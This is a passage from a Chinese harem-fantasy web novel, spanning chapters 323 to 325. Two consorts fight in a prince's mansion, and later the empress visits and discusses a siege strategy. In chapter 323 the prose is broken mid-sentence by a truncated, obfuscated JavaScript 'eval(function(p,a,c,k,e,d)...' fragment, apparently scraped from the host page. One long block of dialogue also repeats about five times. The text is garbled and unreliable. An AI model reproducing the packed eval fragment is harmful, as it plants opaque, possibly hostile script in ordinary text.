刘妙颜足足高出青霞仙子半个脑袋,但后者却丝毫不示弱,半抬起头与她对视。 两人的目光在空中相撞,花火四溅。 一分钟后,刘妙颜伸出手想掐住青霞仙子的下巴。 谁知青霞仙子竟同样出手扣住她的手腕。 刘妙颜躲开,再次掐过去,但青霞仙子的手依旧挡在她面前。 刘妙颜眼睛一亮,略有些赞赏的说道:“还真是个高手啊,领教了。” 言罢她再次出手。 然而青霞仙子这次不与她纠缠,直接将她推开,身体轻盈地跳到一边,优雅的挥了挥袖口,掀起一阵芳香。 林臻情不自禁地深深吸上一口,十分陶醉。 这一幕恰好被张俪看到,没好气地白了他一眼。 这都什么时候了,还想着那档子事儿。 青霞仙子说道:“要打出去打,别惊扰了本座夫君的清净。” “什么玩意就你的夫君,那是我男人!”、 “少废话,打还是不打?” “打就打,老娘杀过的人没有一千也有一百,岂会怕你?” “走着?” “走着!” 说着说着两人便气势汹汹的一同走出殿外。 这类似拳击手上台的场景都给林臻看傻了。 张俪更是惊魂未定,两朵黛眉都蹙在一起。 她能看出后进来的这位女子的实力不输刘妙颜,更何况还有个实力深不可测的老妪在一旁虎视眈眈。 这若打起来,肯定会有人受伤的。 张俪拉了拉林臻的手,满脸担忧地说道:“夫君,这怎么情况啊?” 张俪说完,月妩也紧跟着问道:“是啊夫君,后进来的这个姑娘是谁呀?”言罢她目光还对站在原地的老宗主身上瞟了瞟。 晴雯与浣碧都没说话。 现在 情况不明,多说多错。 晴雯是脾气大,但不是傻子。 至于浣碧就不可能发言了。 对她来讲,谁进府都无所谓,也都不可能动摇她在林臻心里的地位。 但是说实话,林臻就算想回答,也没办法回答。 因为他也不知道现在是什么情况。 如果说他和青霞仙子之间有深仇大恨,那可以理解。毕竟两人之间发生了太多不可调和的矛盾,甚至是不死不休的局面。 但此刻青霞仙子带着自己老妈突然来到王府,说要做我的小妾! 这是干什么啊? 你家闺女是嫁不出去了吗? 还是说我和你闺女发生了点见不得光的事情,你就带人讹上我了啊。 林臻看向老宗主,表情说不出的烦躁:“您就不打算跟我解释解释吗?” 老宗主还是那副淡定的样子,穿着素袍站在一边,存在感很低。 听到林臻这么问,才张口说道:“你把我女儿肚子搞大了?不得负责?” “噗!咳咳咳咳!” 浣碧刚递过来的茶水,被林臻全部喷了出去,吓得浣碧一个劲儿地给他拍后背。 “怎么了夫君,是不是太热了?” “没没没。”林臻连连摆手,而后又看向老宗主,“你说什么?青霞怀孕了?” “你以为呢?” “不可能!绝对不可能!这才几天啊,哪有那么快?再说你怎么知道她怀孕的?” 老宗主连眼皮都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不然呢?如果是真的,你就忍心让你的孩子流落街头?” 林臻:. 那当然不可能。 别管母亲是谁,只要是林臻的孩子,他都是不可能放弃的。 想到这,林臻好像也没什么理由可以反驳了。 即便老爷子在家,他也会允许青霞在家里住下,至于恩怨自然是等孩子生出来再说。 唉。 但愿接下来的这段时间青霞能和其他妻妾和平相处吧。 可再别闹出什么幺蛾子来。 然而这个想法刚刚一闪而过,就见眼前的屏风突然被什么东西撞倒了。 砰—— 紫檀木的大屏风少说也有几百斤,结果却被这股巨大的力道硬生生撞倒,掀起一片粉尘与碎末。 老宗主几乎是下意识的跳过来,挡在林臻和几女面前。 轰隆—— 屏风落地,林臻用手使劲扇了扇,这才勉强看清。 撞倒屏风的,竟然是刘妙颜! 好家伙,这青霞仙子够厉害的。 刘妙颜的武功别说女子,就是王胖子来也讨不到什么好处。 然而就是这样一位在战场上勇猛无敌,让敌军闻风丧胆的女将军。 竟然被青霞仙子一脚踹进书房! 还砸倒了屏风! 这太震撼了。 林臻忍着疼痛下地,光脚走过来,蹲下身搀扶刘妙颜,关切地道:“颜颜,你没事吧?” 第323章 怪不得是个男人婆 刘妙颜疼的龇牙咧嘴,不过看到林臻那关切的表情,还是很汉子的呲牙一笑。 “你这呆子,快滚一边去,看我怎么收拾她!” 言罢刘妙颜起身,单手抄起一张椅子狠狠往地上一摔,“砰”的一声就摔了个稀巴烂。 然后她拿起凳子腿,又怒气冲冲的又冲了上去。 这时浣碧走过来,跪在地上。 “夫君,快把鞋穿好!千万被着凉了。” 林臻穿好鞋,又披上大氅,缓缓走出书房,就见院子里刘妙颜和青霞仙子两人打的你来我往,不亦乐乎。 他刚才还以为刘妙颜没打过,挨了欺负,现在一看根本就不是那么回事。 只见青霞仙子那洁白的裙子上也有好几处脚印,俏脸好像也被抽了一巴掌,此刻红红的有些肿胀。 本来一个娇滴滴的大美女,现在硬生生变成了街头泼妇,嘴里娇喝着打出一招又一招。 两女都不服输,依旧打来打去。 张俪见状忍不住扶住额头,无奈苦笑。 “唉,这日子什么时候是个头啊。” 没有人能回答张俪的话。 可能大家也不知道这样的日子什么时候才是个头,说不上好,但也没有多差,就是很吵。 吵的让人头疼。 甚至此刻张俪也想起林臻经常感慨的那句话。 女人多了也不是什么好事儿啊。 女人的打戏远比林臻想象的要精彩。 它不似男人那种血腥肉搏,看起来心惊肉跳,反而带有一种美感,像两只蝴蝶在花丛中叽叽喳喳的追逐打闹那般。 刘妙颜是武将出身,招式大开大合,每一击都仿佛有千钧之力,手里的凳子腿化身长枪,时而突击时而敲打。 而青霞仙子却是刺客出身,她的身姿较刘妙颜更加轻盈,剑走偏锋根本不与她硬刚,时不时地以一种极其刁钻的动作凑到刘妙颜面前,伸手就是一巴掌抽上去。 啪—— 一记响亮而脆生的耳光抽在刘妙颜脸上让。 她难以置信地摸了摸滚烫的脸颊,怒火中烧。 “你敢打我脸!?” 青霞仙子还是那副轻佻的笑意:“说得好像你没打我脸一样。” “臭娘们,我非弄死你!”刘妙颜把凳子腿抡圆了冲上去,而青霞仙子就是不和他硬碰硬,不断躲避她的攻击,然后再趁其不备一脚踹在她胸口。 砰—— 刘妙颜的身体倒飞出去。 “颜颜 !” 林臻焦急地大喊,却见她一个鲤鱼打挺站起来,继续对垒。 场面十分精彩,看得林臻有些热血澎湃。 谁知就在此时,青霞仙子再次将刘妙颜踹开,然后讥讽地说了句:“呵,果然是个男人婆,胸硬得和石头一样!” “那是护心镜!你这臭婆娘!” 青霞那轻描淡写的嘲讽更加让脾气火爆的刘妙颜更加怒不可遏。 她不顾一切冲上来,直接将手中的凳子腿丢了出去。 嗖—— 咚—— 青霞仙子当然不会被打到,但却又被击打的声音传来。 两女包括林臻等人都齐齐的朝声音望去。 就见月亮门处,慕容无舌脸色铁青,鼻孔库库窜血的走了进来。 那鼻血竟然把手中的拂尘都染红了。 老家伙恼怒的抹了把血鼻涕,大吼道:“谁扔的凳子腿!” 刘妙颜见是慕容无舌,当即就被吓得愣住。 青霞也看出慕容无舌不好对付,于是葱白的手指,指向刘妙颜,大喊道:“就是她!” 刘妙颜气得直跺脚:“你这个臭婆娘!” 慕容无舌甩了甩手里的拂尘,走过来皮笑肉不笑的说道:“刘妙颜将军,你能否给杂家一个解释?” “额嘻嘻嘻。”刘妙颜尬笑道,“师父.好久不见了呢!” “呵呵呵,是是是,这么久不见,一见面就把为师的鼻子打歪了。” 刘妙颜见势不妙就想逃跑。 谁知慕容无舌一把抓住她的头发。 刘妙颜挣脱不过,连连撒娇求饶:“啊呀!师父,徒儿知错了嘛!” “你看看你现在的样子!在王府里大吵大闹,还动手,成何体统!” 林臻看到这顿时有些好奇。 原来慕容无舌是刘妙颜的师父啊? 原书里可没写这段。 不过就算是师父,你也不能抓着我老婆的头发不松手啊! 林臻变了脸色,在几女的搀扶下走了过来,面无表情的道。 “无舌先生。” 慕容无舌就很怕林臻的,即便林臻一点武功都不会。 但是他效忠皇家,效忠慕容嫣。 所以他不敢和林臻叫板。 “世子,好久不见。” “呵呵呵,是是是,这么久不见,一见面就抓住我老婆的头发不松手,你什么意思啊?” “噶!?” 慕容无舌看了看刘妙颜,又 看了看林臻,赶紧松开手,随即躬下身十分谦卑地道:“世子息怒,老奴也不知道啊.” “哼!”刘妙颜趁机赶紧躲在林臻身后,一脸不服输地看着慕容无舌。 后者对这个爱闹的徒弟也没什么好办法。 林臻清了清嗓子:“咳咳,不知者不怪。说吧,你今天怎么突然过来?” “哦,是这样,陛下决定晚上带着贵妃和宁妃两位娘娘来您府上用膳,老奴是来通知的。” “知道了,回去吧。” “是,不过,世子”慕容无舌看了看站在一边的青霞仙子和躲在书房里的老宗主,突然神色正经地说道:“这对母女很危险,若非必要,还请世子与他们划清界限为好。” “哦?怎么个危险法?那老妪比起你来如何?” “她是个什么东西?世子,恕老奴直言,这世间可不是什么人都能和老奴比的。” 林臻烦躁的摆摆手:“赶紧滚蛋吧你。” 慕容无舌最后凶巴巴的看了眼刘妙颜,转身离开。 就在这转身的瞬间,林臻突然伸出手在刘妙颜头上敲了个爆栗。 “都是你!还打不打了?” 刘妙颜顿时拧起眉毛,娇声喊道:“你敢打我!?” 慕容无舌回头。 刘妙颜顿时像个小媳妇似的不敢吭声了。 原来这妮子怕无舌,好家伙,这世界好像就是个巨大的草台班子啊。 人物关系简直至极。 一场闹剧也该结束了,青霞仙子脸蛋红红的,刚才她看向慕容无舌的眼神中充满了寒意,现在重新面对林臻,却有股小女儿的羞涩与媚态。 刘妙颜见状小声嘀咕道:“真不厚道。” “就你厚道!专门往下三路招呼,看你多厚道!” “废话,我那不是打不到你吗?” “打不到你怪谁?” “行了行了,别吵了!” 林臻现在心烦得紧。 女人多了不是什么好事,一天到晚吵不完的架。 他招呼众女进来,打算开个临时总结会。 这时,上官婉儿那边的小厮走了过来,满脸的心有余悸,连腿肚子都打哆嗦。 他是万万没想到,林臻身边的女人竟然卧虎藏龙。 有叱咤商海的顶级女强人张俪,有民间杀手组织的首领,还有征战沙场的女将军。 加上自家院里的大儒之女。 这林臻也太有齐人之福了吧。 而且听说那个 死太监说今晚女帝还要带着两位娘娘亲自来王府吃饭! 天呐! 女帝为什么要有娘娘? 难道不是应该男宠吗? 还是说.女帝的男宠就是林臻! 我的妈呀。 小厮觉得自己好像知道了什么惊天大秘密,所以身体更加颤抖。 林臻早就看见了他,招招手。 “干什么的?” “世子,夫人让小的来给您送金疮药,说早晚要各敷一次。” 林臻接过药瓶,却见这瓶子都是青瓷的,可见里面的药品昂贵。 到底是自己的正牌夫人。 虽然话不多、虽然未曾谋面,但关心却从来没有减少过。 好啊,即便她是个丑八怪,林臻也认了。 毕竟老话说得好,娶妻娶贤,纳妾纳美。 有上官婉儿做自己正妻,心里也更加安稳了些。 众人回到书房,看着满目的狼藉真是哭笑不得。 这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。 林臻对侯春说道:“行了,你们先出去,屏风等会再抬。没有我的命令,任何人不得进来。” “是,世子。” 侯春和曹雄对视一眼,都不知道到底发生了什么。 死太监说今晚女帝还要带着两位娘娘亲自来王府吃饭! 天呐! 女帝为什么要有娘娘? 难道不是应该男宠吗? 还是说.女帝的男宠就是林臻! 我的妈呀。 小厮觉得自己好像知道了什么惊天大秘密,所以身体更加颤抖。 林臻早就看见了他,招招手。 “干什么的?” “世子,夫人让小的来给您送金疮药,说早晚要各敷一次。” 林臻接过药瓶,却见这瓶子都是青瓷的,可见里面的药品昂贵。 到底是自己的正牌夫人。 虽然话不多、虽然未曾谋面,但关心却从来没有减少过。 好啊,即便她是个丑八怪,林臻也认了。 毕竟老话说得好,娶妻娶贤,纳妾纳美。 有上官婉儿做自己正妻,心里也更加安稳了些。 众人回到书房,看着满目的狼藉真是哭笑不得。 这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。 林臻对侯春说道:“行了,你们先出去,屏风等会再抬。没有我的命令,任何人不得进来。” “是,世子。” 侯春和曹雄对视一眼,都不知道到底发生了什么。 死太监说今晚女帝还要带着两位娘娘亲自来王府吃饭! 天呐! 女帝为什么要有娘娘? 难道不是应该男宠吗? 还是说.女帝的男宠就是林臻! 我的妈呀。 小厮觉得自己好像知道了什么惊天大秘密,所以身体更加颤抖。 林臻早就看见了他,招招手。 “干什么的?” “世子,夫人让小的来给您送金疮药,说早晚要各敷一次。” 林臻接过药瓶,却见这瓶子都是青瓷的,可见里面的药品昂贵。 到底是自己的正牌夫人。 虽然话不多、虽然未曾谋面,但关心却从来没有减少过。 好啊,即便她是个丑八怪,林臻也认了。 毕竟老话说得好,娶妻娶贤,纳妾纳美。 有上官婉儿做自己正妻,心里也更加安稳了些。 众人回到书房,看着满目的狼藉真是哭笑不得。 这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。< 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这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。 林臻对侯春说道:“行了,你们先出去,屏风等会再抬。没有我的命令,任何人不得进来。” “是,世子。” 侯春和曹雄对视一眼,都不知道到底发生了什么。 死太监说今晚女帝还要带着两位娘娘亲自来王府吃饭! 天呐! 女帝为什么要有娘娘? 难道不是应该男宠吗? 还是说.女帝的男宠就是林臻! 我的妈呀。 小厮觉得自己好像知道了什么惊天大秘密,所以身体更加颤抖。 林臻早就看见了他,招招手。 “干什么的?” “世子,夫人让小的来给您送金疮药,说早晚要各敷一次。” 林臻接过药瓶,却见这瓶子都是青瓷的,可见里面的药品昂贵。 到底是自己的正牌夫人。 虽然话不多、虽然未曾谋面,但关心却从来没有减少过。 好啊,即便她是个丑八怪,林臻也认了。 毕竟老话说得好,娶妻娶贤,纳妾纳美。 有上官婉儿做自己正妻,心里也更加安稳了些。 众人回到书房,看着满目的狼藉真是哭笑不得。 这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。 林臻对侯春说道:“行了,你们先出去,屏风等会再抬。没有我的命令,任何人不得进来。” “是,世子。” 侯春和曹雄对视一眼,都不知道到底发生了什么。 死太监说今晚女帝还要带着两位娘娘亲自来王府吃饭! 天呐! 女帝为什么要有娘娘? 难道不是应该男宠吗? 还是说.女帝的男宠就是林臻! 我的妈呀。 小厮觉得自己好像知道了什么惊天大秘密,所以身体更加颤抖。 林臻早就看见了他,招招手。 “干什么的?” “世子,夫人让小的来给您送金疮药,说早晚要各敷一次。” 林臻接过药瓶,却见这瓶子都是青瓷的,可见里面的药品昂贵。 到底是自己的正牌夫人。 虽然话不多、虽然未曾谋面,但关心却从来没有减少过。 好啊,即便她是个丑八怪,林臻也认了。 毕竟老话说得好,娶妻娶贤,纳妾纳美。 有上官婉儿做自己正妻,心里也更加安稳了些。 众人回到书房,看着满目的狼藉真是哭笑不得。 这时候侯春、曹雄等人姗姗来迟,进门后第一件事情就是给林臻下跪。 尤其是侯春。 “世子,属下护院不力,竟让乱臣贼子肆意进出,请世子责罚!” 青霞仙子刚消下去的火蹭得又上来,拧眉瞪眼的道:“你说谁乱臣贼子呢?” 侯春斜着眼睛看了青霞仙子一眼。 “说你。” 之前的暗杀,后来的受刑,都让世子受了很多苦,都是因为这个女人! 所以侯春对她是一点好感也没有。 青霞仙子气得恨不得和侯春再打一架。 “大胆!就算我还没进门,那也是天道宗宗主,岂容你一个小兵在这里吆五喝六!” “行了行了。”林臻摆摆手。 这么吵下去也没什么意义,还是抓紧开会的好。 再不好好开会,今后大家都没有消停日子过。 更何况刘妙颜还不知道自己和慕容嫣以及司马椿蕾、顾缜的事情。 一旦知道,还不知道要怎么闹呢。 林臻对侯春说道:“行了,你们先出去,屏风等会再抬。没有我的命令,任何人不得进来。” “是,世子。” 侯春和曹雄对视一眼,都不知道到底发生了什么。 第324章 慕容嫣下榻 书房里乱糟糟的。 屏风倒在地上青瓷花瓶、青铜仙鹤香炉被压成碎片宛若众人此刻的心情。 林臻坐在软榻上身上披着大氅。 对面坐着张俪、月妩、晴雯、浣碧、刘妙颜青霞以及她母亲。 六位女子莺莺燕燕各有不同此刻全部都目不转睛地盯着林臻认真的听他说话。 时间匆匆而过会议也渐渐落下帷幕。 最终青霞仙子还是留在了王府就住在紧挨着上官婉儿的别院里而她母亲自然也要留下。 本来林臻是不同意的。因为在他看来不管是青霞仙子还是老宗主皆是敌非友把这样的两个人安排在自己府里睡觉都会不踏实。 可老宗主却一再表示绝不会做出对林臻不利的事情甚至还会帮林臻护卫整座王府不让宵小之辈进来至于青霞是否怀孕等一个月后自然见分晓。 青霞没说话好像心甘情愿地听从母亲的安排。 对于这新来的两个陌生女人张俪等女都感觉有些不适应但既然林臻已经决定她们也不好反对。 刘妙颜也住在王府。 但是她没说自己要住哪弄得好像王府是她家一样她想住哪就住哪。 对此林臻不打算多管反正王府面积大房间多她爱住哪就住哪。至于随从、丫鬟之类的她自己想办法。 刘妙颜没什么意见。 最后大家一致表决以后尽可能地和平相处不给林臻添麻烦。 不过看青霞、晴雯、刘妙颜三女那心不甘情不愿的眼神估计是难。 会议结束后侯春等人带着仆役进来收拾林臻则是换了身衣服准备接见慕容嫣。 这小妮子听闻自己受伤估计急坏了能忍住今天来已经是奇迹。 正如林臻所想 但想想现在群臣谁都不知道她和林臻的关系都以为是臣子这么急匆匆地来见傻子都知道有问题。 于是三天后慕容嫣这才莅临王府。 至于为什么带两位妃子一起过来也是不想落别人口舌。 最近群臣一直都在怀疑身为女子的慕容嫣究竟是怎么和妃子行房的。 尤其是丞相司马忠他现在越来越觉得和自己女儿行房的不是皇帝而是林臻这个小兔崽子! 但是他不敢问。 即便司马椿蕾是他亲生女儿但那也是大 乾贵妃,君臣有别,平时想见一面都需要获得皇帝的许可,更别说私下询问了。 所以,这件事情就变成了一个不解之谜。 傍晚,京城的官道上有夕阳洒下,仿若为大地铺上一层金纱,却也不及那即将现身的仪仗夺目。 王府大门外,先是一阵沉稳有力的脚步声传来,训练有素的御林军迈着整齐划一的步伐前行,他们身着锃亮的铠甲,手中长枪挺立,枪尖寒光闪烁,威风凛凛地为后面的队伍开道。 紧接着,两队宫女鱼贯而出,她们身着粉色宫装,衣袂飘飘,手中或捧着香炉,轻烟袅袅升腾,散发出沁人心脾的馥郁香气;或拿着拂尘,柔丝随着微风轻轻摆动。 宫女们面容姣好,妆容精致,却都低垂着眼眸,谨守着宫廷规矩。 再往后,便是女帝慕容嫣的步辇。 这步辇以珍贵的金丝楠木制成,木质散发着幽微的光泽,其上雕刻着龙凤呈祥的精美图案。 步辇四周垂着薄如蝉翼的鲛绡帷幔,阳光透进来,在地上洒下朦胧的光影,既能遮挡些许尘土,又能隐约透出慕容嫣的风姿。 抬辇的是八名身强力壮的妇人,她们脚步平稳,谨小慎微,生怕颠簸到上面尊贵无比的女帝。 一旁随行的还有贵妃与宁妃的鸾轿,虽不及步辇奢华威严,却也装饰精美,尽显妃嫔的尊贵。 王府门前,由林安牵头,小厮丫鬟们早已跪地等候,大气都不敢出。 待那浩浩荡荡的仪仗停下,慕容无舌尖细的嗓音高呼:“陛下驾到——” 声音悠长,在空气中回荡。 慕容嫣在众人簇拥下,莲步轻移,款步下了步辇。 她今日身着一袭深紫色凤袍,不同于往日庄重的明黄,这深紫色更添几分神秘与妩媚,垂下的珠帘遮住了她的面庞,却难掩那倾国倾城的容颜。 她站定后,轻轻抬手,珠帘随之晃动,露出一双含情双目,眼眸恰似一泓秋水,波光潋滟间藏着对林臻的关心与急切。 可转瞬,那目光又化为俯瞰苍生的威严。 司马椿蕾与顾缜也相继下轿,她们跟在慕容嫣身后,一个明艳动人,一个温婉娇柔。 尤其是司马椿蕾,她着一身石榴红宫装,走起路来摇曳生姿,眼神时不时飘向王府内,透着按捺不住的急切。 林臻早已等候在庭院之中。 见慕容嫣等人进来,他莞尔一笑,隔着很远便说道:“参见陛下。” 他的声音低沉醇厚,带着压抑不住的欣喜。 慕容嫣瞧着他,嘴角也是不易察觉地微微上扬,好像情侣间打趣般怪诞地说道:“爱卿平身。” 林臻猜到她的用意,淡笑着问道:“平身?我也没跪下啊,平什么身?” “不跪也平身!” “哦!” 慕容嫣愈发控制不住笑意,眼神中满满都是对自己如意郎君的喜爱。 司马椿蕾更是对这样的场景忍俊不禁. 唯有顾缜还是那副淡然的样子。 看到她,林臻就想起之前在床榻上的经历。 这个寡言少语的姑娘哪怕是在行房时也如此淡然,好像一切都无所谓那般,直到那个的时候才会有明显的表情变化。 把一个没有什么感受地送上高峰,林臻也觉得很有意思。 这是自己家,所以林臻也没什么好避讳的,直接牵住慕容嫣的手。 慕容嫣还象征性地挣了挣,蹙眉道:“快放开,影响多不好。” “谁敢多嘴多舌,还不得被你砍头啊?” “能控制他们的住嘴,还能控制他们的心?人家心里想什么你知道吗?” “我当然知道。” “切~”看林臻的表情就知道他肯定是所答非所问,慕容嫣翻了个风情万种的白眼,众人往正堂里走。 林臻挥挥手,王府中的下人们纷纷退下,只留浣碧一人。< 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慕容嫣放下茶盏,看了看众人,最后把目光放在林臻身上。 表情竟有着说不出的凝重。 “夫君,你的伤如何了?” “好得差不多了,上官婉儿送来的金疮药效果特别好。” “那就行,其实朕今天来除了要看看你,还有几件特别的事情。” 林臻点点头,等慕容嫣继续往下说。 “前方传来战报,王爷的军队已经围困下邳城一个月了,到现在还没有打下来。朕想着,如果此战一拖再拖,恐怕会对大乾不利。” “呦?不错啊,连这点都能看出来,有进步。” 慕容嫣翻个白眼。 “人家跟你说正经的呢!那下邳城是南楚在江北的第一坚城,储备粮草之多超乎想象,现在王爷一直是围而不攻,也不知道打的什么算盘,也不向朕汇报。朕心里着急却又没办法控制。夫君,你是了解王爷的,能不能和朕说说?朕也好解解心中之苦啊,否则朕是一个安稳觉也睡不成。” 慕容嫣的担心是再正常不过的。 之前林震仙率领的军队一路南下,所向披靡,让慕容嫣以为能在很短的时间内取得巨大的战果。 说不定能一直打到长江,扩充大乾疆土。 可现在一个下邳城就困扰了前方军队一个月的时间,再这么下去徒耗粮草不说,还会影响军心。 慕容嫣是个抠门的不能再抠门的女人。 打过来的疆土如果再拿出去,她是万万不能同意的。 可是军队又不归她管,所以她只能来问林臻。 林臻笑着回答:“别急,王爷是军神,自然能处理好下邳城。” “夫君,你能不能被卖关子了,朕现在特别着急!” “好吧好吧,那我告诉你。其实王爷是在等最后一场秋雨。” “秋雨?”慕容嫣蹙起黛眉。 第325章 林臻与慕容嫣,有不正当关系 “对。下邳城的坚固程度不亚于我们京城,这不是靠人力就能攻下来的,所以王爷在借雨。如果我所料不错,此时下邳城上游的水已经被王爷给截断了,只等秋雨过后水位暴涨,他在掘开河堤,让河水倒灌进下邳城。等到那时,而王爷就可以不费一兵一卒,拿下下邳城。” “哦~” 慕容嫣和司马椿蕾都是发出一声惊叹。 不愧是军神,连这样的办法都想得到。更让她们欣喜的是,林臻居然也能想得到。 看来破下邳已经是指日可待的事情了。 慕容嫣心情好了许多,像是放下了什么重担一般。 “那依夫君看,这场仗还能打多久?” “到年底也就差不多了。” “这么快?为什么?” “因为楚霸天老了,他不会拼尽全国之力来打这场仗,只要下邳城一破,他必定投降,然后派人跟我们和谈。” “哼。”司马椿蕾闻言冷哼一声,“他们当年杀了我们多少百姓?才不要个她们和谈呢。” “国家与国家之间的利益不是这么算的,如果能和谈,我愿意接受。”林臻没有表现出来打到底的想法,事实上他也确实不想打到底。 因为那样没有太大的意义。 整个大乾现在都处于告诉发展阶段,各个城池、地区都在修路,各种作坊、工业区也在紧锣密鼓地筹备,这个时间段最重要的是稳定发展,而不是拼了命去获得领土。 领土太多管不过来,也开发不过来,倒不如先可着本国发展。 等本国发展得差不多,或者说已经发展到瓶颈时,再去获得新的领土。 这才是上上策。 但如果现在就和南楚打到底。 即便最后能打赢,那也是惨胜,到时候大乾国力衰退,人口锐减,国家将从高速发展时期变成衰退期,一旦这个时候其他国家趁火打劫,那大乾就是下一个南楚。 所以林臻不愿意冒这个风险,也没有那个必要。 倒不如趁这个机会让南楚签订些不平等条约呢,像割地啊,赔款啊,通商口岸啊等等。 瞧瞧庚子年的八国联军。 他们在华夏大地上抢走多少好东西?后来几乎都成发达国家了。 在林臻说话的时候,司马椿蕾的目光始终在他身上打转,时而轻笑,时而色眯眯的。 林臻感觉她和晴雯有的一拼。 这时,敲门声传来。 “咚咚咚。” “进来。” 管家林安走进,低着头走到慕容嫣面前,噗通一声跪下。 “启禀陛下,晚膳已准备妥帖。” “嗯,那就开饭吧。” “遵旨。” 林安又快步退了出去,对林臻是看都没看一眼。 很快,众人来到餐厅,林臻自然是坐中间主位的,然后慕容嫣、司马椿蕾,顾缜相继落座。 还没动筷子,慕容嫣说道。 “夫君,不如把其他姐妹也请出来吧,都是自家人,总该见见的。” “说的也是。”林臻转头对浣碧说道,“碧儿,你去把大家都叫来。” “是。” 浣碧款步而去,几分钟后,张俪、月妩、晴雯、刘妙颜以及青霞都走了进来。 好嘛,除了上官婉儿,这下林臻的后宫算是聚齐了。 慕容嫣知道林臻可能会有其他小妾,但是没想到这么多,甚至有一位她还见过,正是刘妙颜。 众女来到餐厅,齐齐双膝下跪。 “妾身参见陛下。” “都起来吧。” “谢陛下。” 刘妙颜瞪着滴溜溜的大眼睛。 她是做梦也没想到,林臻居然还和皇帝有一腿! 天呐,你们慕容家的女人都不要脸吗? 好歹也是皇帝啊,怎么可能和王爷的孙子搞在一起呢! 这件事就连青霞都没想到,看着林臻与慕容嫣挨得那么近,也是表情木讷,不知道该如何消化这个事实。 “大家都坐吧。” 慕容嫣很大方的邀请所有人入座,就连扭捏的浣碧也被林臻强行按在椅子上。 但是慕容嫣不动筷子,谁也不敢先吃,总觉得在皇帝面前需要保持自己的礼节。 林臻对此就没那么多想法,他早就饿了,现在看到满桌子的美味哪里还有不吃的道理。 慕容嫣见大家都不吃,于是率先拿起筷子夹了颗花生米放进嘴里。 吃完以后,说道:“夫君,你那书院已经装修得差不多了,朕已经派翰林院的先生进驻,就等招收学生了。” “翰林院?不行不行。”林臻闻言立刻摇头。 那些个老学究就会之乎者也,什么也不会。 “翰林院还不行?那得要什么样的先生?” 司马椿蕾也说道,“是啊夫君,这天底下难道还有比翰林院更厉害的先生吗?” “当然有!翰林院那几个糟老头子就会之乎者也,还说什么,孔曰成仁,孟曰取义。屁, 这种孔孟之道除了教人怎么做君子,怎么驭民之外,什么也教不会。在我看来,说它们是中庸之道还差不多。” 